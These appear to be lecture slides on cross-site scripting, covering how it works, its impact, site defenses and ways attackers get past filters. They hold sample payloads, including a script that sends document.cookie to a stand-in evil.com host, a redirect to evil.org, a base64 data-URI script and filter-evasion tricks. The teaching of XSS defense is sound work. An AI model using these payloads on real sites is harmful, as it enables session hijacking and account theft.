

Cross Site Scripting

- ## First Some Credit
- David Zimmer: "Real World XSS" article.
 - Gunter Ollmann: "HTML Code Injection and XSS"
 - Amit Klein: "XSS Explained"
 - GNUCITIZEN.ORG

- ## Definition of XSS
- An app level attack
 - Involves 3 parties
 - Want diverse and personalized delivery
 - but web app fails to validate user supplied input
 - Marc Slemko: XSS doesn't have to be XS, or S.
 - Goal: STEAL!!!

- ## Example
- vulscript at vulsite, reads HTTP req, echoes back w/o first sanitizing...
 - GET /vulscript.cgi?name=**dylim**
 - HTTP/1.0
 - Host: www.vulsite.org
 - <HTML><Title>Welcome</Title> Hi **dylim**... </HTML>
 - Attacker can craft link which causes the web browser to access vulsite, invoke vulscript, with data=evilscrip.
 - Note that evilscrip can access my cookies related to vulsite.

- ## Example cont'd
- Such a link could be:
 - `http://www.vulsite.org/vulscript.cgi?name=<script>alert(document.cookie)</script>`
 - Or `<script>window.open("http://evil.com/stealcookie.cgi?cookie="+document.cookie)</script>`

- ## Variations
- Other HTML tags
 - `<b onmouseover="self.location.href='http://evil.org/'"> bolded text`
 - POST, HTTP headers (referrer), path of HTTP req (e.g. if error page returns the erroneous path)
 - Typical formatting
 - ``
 - `<script>alert('hacked')</script>`
 - `<iframe = "malicious.js">`
 - `<script>document.write(' `
 - `click-me`

Variations

- Flash! attack...
 - ActionScript, getURL()

What about...

- <data:text/html;base64,PHNjcmlwdD4NCmFsZXJ0KCJTZWxmLWNvbnRhaW5IZCBYU1MiKTsNCjwvc2NyaXB0Pg==>
- Self contained! i.e. doesn't require vulnerable web resource to echo input.
- allows dynamic creation of binary files from JavaScript (can create files containing malicious payload for exploiting overflow vulnerabilities.)

XSS as an attack vector

- Strengths
 - Can include very large audience w one injection point
 - Can force users to some action, and access info they can access
 - Can be hard to detect and slipped in quietly
 - Can be powerful for info display and alteration.
- Weaknesses
 - 95% can be avoided with proper filtering on any user supplied data (several tools)

Impact

- Theft of Account/Services
- User Tracking/Stats
- Browser/User exploitation
- Credentialed Misinformation
- Free Information Dissemination

Together with Phishing, etc...

- [Only here! By everything for cheap.msg](#)
- [PayPal Urgent Problems with Account Information.msg](#)
- [Save the world.msg](#)

Securing a site

- Input sanitation
 - Programmer needs to cover all possible input sources (query params, HTTP headers, etc)
 - Useless against vulnerabilities in 3rd party scripts/servers (e.g. err pages)
- Output filtering..
- App firewalls
 - Can cover all input methods in a generic way.
 - Intercepts XSS attacks b4 they reach server.

Injection Points

- Active XSS attacks
 - Parameters passed in thru query string arguments that get written directly to a page.
 - Any where an html form can be injected and have the user click a submit button
- Passive XSS attacks
 - Database storage!
 - Error pages!

Filtering

- Do you want to deny users the ability to use any form of HTML?
 - If not, what do you filter?
 - <plaintext>
 - 10M x 10M image of attacker

Filtering

- Img src and href...
 - Parse out src= element and validate it:
 - Remove quotes
 - Deny urls with ? Querystring ids, make sure no .cgi, .pl, etc.
 - Chk the protocol and deny everything except http

Many ways to circumvent

- Simple filtering < and >
 - Use \x3c and \x3e
- Commenting out malicious code
 - Just close the comment filter:
<script>- --></comment>...</script>
- Separate window handling
 - click-me becomes:
click-me
 - click-me
 - click-me

XSS tips and tricks.

- script injection in an image src tag..

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- Embed nested quotes..
 - \' or \", or \u0022 \u0027
- Keyword filters that allow any js to execute are useless:
 - A = 'navi'; B = 'gator.userAgent'; alert(eval(A+B))

XSS tips and tricks..

- Limited input length + script block embed = unlimited script power (script src=)
- SSL pages warn if script src comes from untrusted site,
 - but if you can upload say img that is actually .js commands..
- methods of script encoding.
 -
 -
 -
 - Line break trick

Tools..

- AppShield, AppScan by Sanctum
- WebInspect
- Utilities by David Zimmer
 - E.g. [script encoding](#)
- XSS cheat sheet
<http://ha.ckers.org/xss.html>
- XSS Shell, Backweb, XSS proxy, BEEF...